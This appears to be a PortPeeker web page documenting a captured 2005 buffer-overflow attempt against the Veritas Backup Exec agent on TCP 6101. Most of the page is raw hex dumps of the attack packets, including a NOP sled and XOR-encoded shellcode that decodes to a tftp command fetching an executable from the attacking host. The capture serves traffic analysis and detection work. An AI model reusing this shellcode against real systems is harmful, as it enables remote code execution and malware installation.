PortPeeker Capture of TCP 6101 Veritas Agent Browser Exploit Attempt

A buffer overflow vulnerability is being used within Veritas Agent Browser in unpatched versions of Backup Exec.  This exploit allows a remote attacker to execute code usually used infect a system with malware.   Veritas has published a notice concerning this vulnerability at Veritas Support.

68.144.147.124 : 1249 TCP Data In Length 133 bytes
MD5 = 7916047F0D18FD1ABDECD3F721704991
---- 27/03/2005 23:41:00.439
0 02 00 32 00 90 90 90 90 31 F6 C1 EC 0C C1 E4 0C ..2.....1.......
10 89 E7 89 FB 6A 01 8B 74 24 FE 31 D2 52 42 C1 E2 ....j..t$.1.RB..
20 10 52 57 56 B8 FF 50 11 40 C1 E8 08 FF 10 85 C0 .RWV..P.@.......
30 79 07 89 DC 4E 85 F6 75 E1 FF E7 90 90 90 90 90 y...N..u........
40 90 90 90 90 90 90 90 90 A1 FF 42 01 90 90 90 90 ..........B.....
50 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
60 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
70 90 90 90 90 90 90 00 31 2E 31 2E 31 2E 31 2E 31 .......1.1.1.1.1
80 2E 31 00 EB 80 .1...


68.144.147.124 : 1249 TCP Data In Length 1460 bytes
MD5 = 9EF66C7D3F3CD78CF53E07987C2C6CC7
---- 27/03/2005 23:41:00.509
0 EB 02 EB 05 E8 F9 FF FF FF 5B 31 C9 B1 E7 80 73 .........[1....s
10 0C 12 43 E2 F9 21 D2 76 11 52 22 6A 1E 99 52 1E ..C..!.v.R"j..R.
20 99 62 0E BF 99 52 1A F9 1B 99 52 26 9F 52 6E 99 .b...R....R&.Rn.
30 52 2E 99 C2 11 52 2E 99 D8 11 5A 6A 99 53 32 99 R....R....Zj.S2.
40 C8 11 4B 0E 21 ED 21 E4 45 45 99 D8 11 1E 02 93 ..K.!.!.EE......
50 6B 18 77 61 61 53 67 10 99 21 93 6B 11 66 46 7A k.waaSg..!.k.fFz
60 60 67 10 99 29 91 D2 16 91 D1 16 97 E4 66 C9 97 `g..)........f..
70 ED 66 C5 11 E0 11 E8 45 FA 3E 12 12 12 66 74 66 .f.....E.>...ftf
80 62 3C 77 6A 77 32 3F 7B 32 24 2A 3C 23 26 26 3C b<wjw2?{2$*<#&&<
90 23 26 25 3C 23 20 26 32 75 77 66 32 62 7B 7C 75 #&%<# &2uwf2b{|u
A0 62 62 73 71 3C 77 6A 77 12 78 12 FA 31 12 12 12 bbsq<wjw.x..1...
B0 67 13 D1 FA 1F 12 12 12 62 7B 7C 75 62 62 73 71 g.......b{|ubbsq
C0 3C 77 6A 77 12 78 12 FA 15 12 12 12 1D 96 F3 ED <wjw.x..........
D0 ED ED D1 4A 49 4F 42 91 FE 46 21 D2 99 EE 9F 5A ...JIOB..F!....Z
E0 52 99 C5 E1 B8 A2 56 B9 45 40 43 43 78 3A 78 13 R.....V.E@CCx:x.
F0 43 43 47 41 ED C4 91 D6 46 97 D2 D1 EC FC 1A 0A CCGA....F.......
100 C0 FC 1A 0A 44 90 80 80 95 EB 02 EB 05 E8 F9 FF ....D...........
110 FF FF 5B 31 C9 B1 E7 80 73 0C 12 43 E2 F9 21 D2 ..[1....s..C..!.
120 76 11 52 22 6A 1E 99 52 1E 99 62 0E BF 99 52 1A v.R"j..R..b...R.
130 F9 1B 99 52 26 9F 52 6E 99 52 2E 99 C2 11 52 2E ...R&.Rn.R....R.
140 99 D8 11 5A 6A 99 53 32 99 C8 11 4B 0E 21 ED 21 ...Zj.S2...K.!.!
150 E4 45 45 99 D8 11 1E 02 93 6B 18 77 61 61 53 67 .EE......k.waaSg
160 10 99 21 93 6B 11 66 46 7A 60 67 10 99 29 91 D2 ..!.k.fFz`g..)..
170 16 91 D1 16 97 E4 66 C9 97 ED 66 C5 11 E0 11 E8 ......f...f.....
180 45 FA 3E 12 12 12 66 74 66 62 3C 77 6A 77 32 3F E.>...ftfb<wjw2?
190 7B 32 24 2A 3C 23 26 26 3C 23 26 25 3C 23 20 26 {2$*<#&&<#&%<# &
1A0 32 75 77 66 32 62 7B 7C 75 62 62 73 71 3C 77 6A 2uwf2b{|ubbsq<wj
1B0 77 12 78 12 FA 31 12 12 12 67 13 D1 FA 1F 12 12 w.x..1...g......
1C0 12 62 7B 7C 75 62 62 73 71 3C 77 6A 77 12 78 12 .b{|ubbsq<wjw.x.
1D0 FA 15 12 12 12 1D 96 F3 ED ED ED D1 4A 49 4F 42 ............JIOB
1E0 91 FE 46 21 D2 99 EE 9F 5A 52 99 C5 E1 B8 A2 56 ..F!....ZR.....V
1F0 B9 45 40 43 43 78 3A 78 13 43 43 47 41 ED C4 91 .E@CCx:x.CCGA...
200 D6 46 97 D2 D1 EC FC 1A 0A C0 FC 1A 0A 44 90 80 .F...........D..
210 80 95 EB 02 EB 05 E8 F9 FF FF FF 5B 31 C9 B1 E7 ...........[1...
220 80 73 0C 12 43 E2 F9 21 D2 76 11 52 22 6A 1E 99 .s..C..!.v.R"j..
230 52 1E 99 62 0E BF 99 52 1A F9 1B 99 52 26 9F 52 R..b...R....R&.R
240 6E 99 52 2E 99 C2 11 52 2E 99 D8 11 5A 6A 99 53 n.R....R....Zj.S
250 32 99 C8 11 4B 0E 21 ED 21 E4 45 45 99 D8 11 1E 2...K.!.!.EE....
260 02 93 6B 18 77 61 61 53 67 10 99 21 93 6B 11 66 ..k.waaSg..!.k.f
270 46 7A 60 67 10 99 29 91 D2 16 91 D1 16 97 E4 66 Fz`g..)........f
280 C9 97 ED 66 C5 11 E0 11 E8 45 FA 3E 12 12 12 66 ...f.....E.>...f
290 74 66 62 3C 77 6A 77 32 3F 7B 32 24 2A 3C 23 26 tfb<wjw2?{2$*<#&
2A0 26 3C 23 26 25 3C 23 20 26 32 75 77 66 32 62 7B &<#&%<# &2uwf2b{
2B0 7C 75 62 62 73 71 3C 77 6A 77 12 78 12 FA 31 12 |ubbsq<wjw.x..1.
2C0 12 12 67 13 D1 FA 1F 12 12 12 62 7B 7C 75 62 62 ..g.......b{|ubb
2D0 73 71 3C 77 6A 77 12 78 12 FA 15 12 12 12 1D 96 sq<wjw.x........
2E0 F3 ED ED ED D1 4A 49 4F 42 91 FE 46 21 D2 99 EE .....JIOB..F!...
2F0 9F 5A 52 99 C5 E1 B8 A2 56 B9 45 40 43 43 78 3A .ZR.....V.E@CCx:
300 78 13 43 43 47 41 ED C4 91 D6 46 97 D2 D1 EC FC x.CCGA....F.....
310 1A 0A C0 FC 1A 0A 44 90 80 80 95 EB 02 EB 05 E8 ......D.........
320 F9 FF FF FF 5B 31 C9 B1 E7 80 73 0C 12 43 E2 F9 ....[1....s..C..
330 21 D2 76 11 52 22 6A 1E 99 52 1E 99 62 0E BF 99 !.v.R"j..R..b...
340 52 1A F9 1B 99 52 26 9F 52 6E 99 52 2E 99 C2 11 R....R&.Rn.R....
350 52 2E 99 D8 11 5A 6A 99 53 32 99 C8 11 4B 0E 21 R....Zj.S2...K.!
360 ED 21 E4 45 45 99 D8 11 1E 02 93 6B 18 77 61 61 .!.EE......k.waa
370 53 67 10 99 21 93 6B 11 66 46 7A 60 67 10 99 29 Sg..!.k.fFz`g..)
380 91 D2 16 91 D1 16 97 E4 66 C9 97 ED 66 C5 11 E0 ........f...f...
390 11 E8 45 FA 3E 12 12 12 66 74 66 62 3C 77 6A 77 ..E.>...ftfb<wjw
3A0 32 3F 7B 32 24 2A 3C 23 26 26 3C 23 26 25 3C 23 2?{2$*<#&&<#&%<#
3B0 20 26 32 75 77 66 32 62 7B 7C 75 62 62 73 71 3C &2uwf2b{|ubbsq<
3C0 77 6A 77 12 78 12 FA 31 12 12 12 67 13 D1 FA 1F wjw.x..1...g....
3D0 12 12 12 62 7B 7C 75 62 62 73 71 3C 77 6A 77 12 ...b{|ubbsq<wjw.
3E0 78 12 FA 15 12 12 12 1D 96 F3 ED ED ED D1 4A 49 x.............JI
3F0 4F 42 91 FE 46 21 D2 99 EE 9F 5A 52 99 C5 E1 B8 OB..F!....ZR....
400 A2 56 B9 45 40 43 43 78 3A 78 13 43 43 47 41 ED .V.E@CCx:x.CCGA.
410 C4 91 D6 46 97 D2 D1 EC FC 1A 0A C0 FC 1A 0A 44 ...F...........D
420 90 80 80 95 EB 02 EB 05 E8 F9 FF FF FF 5B 31 C9 .............[1.
430 B1 E7 80 73 0C 12 43 E2 F9 21 D2 76 11 52 22 6A ...s..C..!.v.R"j
440 1E 99 52 1E 99 62 0E BF 99 52 1A F9 1B 99 52 26 ..R..b...R....R&
450 9F 52 6E 99 52 2E 99 C2 11 52 2E 99 D8 11 5A 6A .Rn.R....R....Zj
460 99 53 32 99 C8 11 4B 0E 21 ED 21 E4 45 45 99 D8 .S2...K.!.!.EE..
470 11 1E 02 93 6B 18 77 61 61 53 67 10 99 21 93 6B ....k.waaSg..!.k
480 11 66 46 7A 60 67 10 99 29 91 D2 16 91 D1 16 97 .fFz`g..).......
490 E4 66 C9 97 ED 66 C5 11 E0 11 E8 45 FA 3E 12 12 .f...f.....E.>..
4A0 12 66 74 66 62 3C 77 6A 77 32 3F 7B 32 24 2A 3C .ftfb<wjw2?{2$*<
4B0 23 26 26 3C 23 26 25 3C 23 20 26 32 75 77 66 32 #&&<#&%<# &2uwf2
4C0 62 7B 7C 75 62 62 73 71 3C 77 6A 77 12 78 12 FA b{|ubbsq<wjw.x..
4D0 31 12 12 12 67 13 D1 FA 1F 12 12 12 62 7B 7C 75 1...g.......b{|u
4E0 62 62 73 71 3C 77 6A 77 12 78 12 FA 15 12 12 12 bbsq<wjw.x......
4F0 1D 96 F3 ED ED ED D1 4A 49 4F 42 91 FE 46 21 D2 .......JIOB..F!.
500 99 EE 9F 5A 52 99 C5 E1 B8 A2 56 B9 45 40 43 43 ...ZR.....V.E@CC
510 78 3A 78 13 43 43 47 41 ED C4 91 D6 46 97 D2 D1 x:x.CCGA....F...
520 EC FC 1A 0A C0 FC 1A 0A 44 90 80 80 95 EB 02 EB ........D.......
530 05 E8 F9 FF FF FF 5B 31 C9 B1 E7 80 73 0C 12 43 ......[1....s..C
540 E2 F9 21 D2 76 11 52 22 6A 1E 99 52 1E 99 62 0E ..!.v.R"j..R..b.
550 BF 99 52 1A F9 1B 99 52 26 9F 52 6E 99 52 2E 99 ..R....R&.Rn.R..
560 C2 11 52 2E 99 D8 11 5A 6A 99 53 32 99 C8 11 4B ..R....Zj.S2...K
570 0E 21 ED 21 E4 45 45 99 D8 11 1E 02 93 6B 18 77 .!.!.EE......k.w
580 61 61 53 67 10 99 21 93 6B 11 66 46 7A 60 67 10 aaSg..!.k.fFz`g.
590 99 29 91 D2 16 91 D1 16 97 E4 66 C9 97 ED 66 C5 .)........f...f.
5A0 11 E0 11 E8 45 FA 3E 12 12 12 66 74 66 62 3C 77 ....E.>...ftfb<w
5B0 6A 77 32 3F jw2?


68.144.147.124 : 1249 TCP Data In Length 395 bytes
MD5 = E6858D734F40C27BCB5D48247CF3DD98
---- 27/03/2005 23:41:00.559
0 7B 32 24 2A 3C 23 26 26 3C 23 26 25 3C 23 20 26 {2$*<#&&<#&%<# &
10 32 75 77 66 32 62 7B 7C 75 62 62 73 71 3C 77 6A 2uwf2b{|ubbsq<wj
20 77 12 78 12 FA 31 12 12 12 67 13 D1 FA 1F 12 12 w.x..1...g......
30 12 62 7B 7C 75 62 62 73 71 3C 77 6A 77 12 78 12 .b{|ubbsq<wjw.x.
40 FA 15 12 12 12 1D 96 F3 ED ED ED D1 4A 49 4F 42 ............JIOB
50 91 FE 46 21 D2 99 EE 9F 5A 52 99 C5 E1 B8 A2 56 ..F!....ZR.....V
60 B9 45 40 43 43 78 3A 78 13 43 43 47 41 ED C4 91 .E@CCx:x.CCGA...
70 D6 46 97 D2 D1 EC FC 1A 0A C0 FC 1A 0A 44 90 80 .F...........D..
80 80 95 EB 02 EB 05 E8 F9 FF FF FF 5B 31 C9 B1 E7 ...........[1...
90 80 73 0C 12 43 E2 F9 21 D2 76 11 52 22 6A 1E 99 .s..C..!.v.R"j..
A0 52 1E 99 62 0E BF 99 52 1A F9 1B 99 52 26 9F 52 R..b...R....R&.R
B0 6E 99 52 2E 99 C2 11 52 2E 99 D8 11 5A 6A 99 53 n.R....R....Zj.S
C0 32 99 C8 11 4B 0E 21 ED 21 E4 45 45 99 D8 11 1E 2...K.!.!.EE....
D0 02 93 6B 18 77 61 61 53 67 10 99 21 93 6B 11 66 ..k.waaSg..!.k.f
E0 46 7A 60 67 10 99 29 91 D2 16 91 D1 16 97 E4 66 Fz`g..)........f
F0 C9 97 ED 66 C5 11 E0 11 E8 45 FA 3E 12 12 12 66 ...f.....E.>...f
100 74 66 62 3C 77 6A 77 32 3F 7B 32 24 2A 3C 23 26 tfb<wjw2?{2$*<#&
110 26 3C 23 26 25 3C 23 20 26 32 75 77 66 32 62 7B &<#&%<# &2uwf2b{
120 7C 75 62 62 73 71 3C 77 6A 77 12 78 12 FA 31 12 |ubbsq<wjw.x..1.
130 12 12 67 13 D1 FA 1F 12 12 12 62 7B 7C 75 62 62 ..g.......b{|ubb
140 73 71 3C 77 6A 77 12 78 12 FA 15 12 12 12 1D 96 sq<wjw.x........
150 F3 ED ED ED D1 4A 49 4F 42 91 FE 46 21 D2 99 EE .....JIOB..F!...
160 9F 5A 52 99 C5 E1 B8 A2 56 B9 45 40 43 43 78 3A .ZR.....V.E@CCx:
170 78 13 43 43 47 41 ED C4 91 D6 46 97 D2 D1 EC FC x.CCGA....F.....
180 1A 0A C0 FC 1A 0A 44 90 80 80 95 ......D....


 

While PortPeeker is not an officially supported product if you have any suggestions or find any bugs please send them to PortPeeker@LinkLogger.com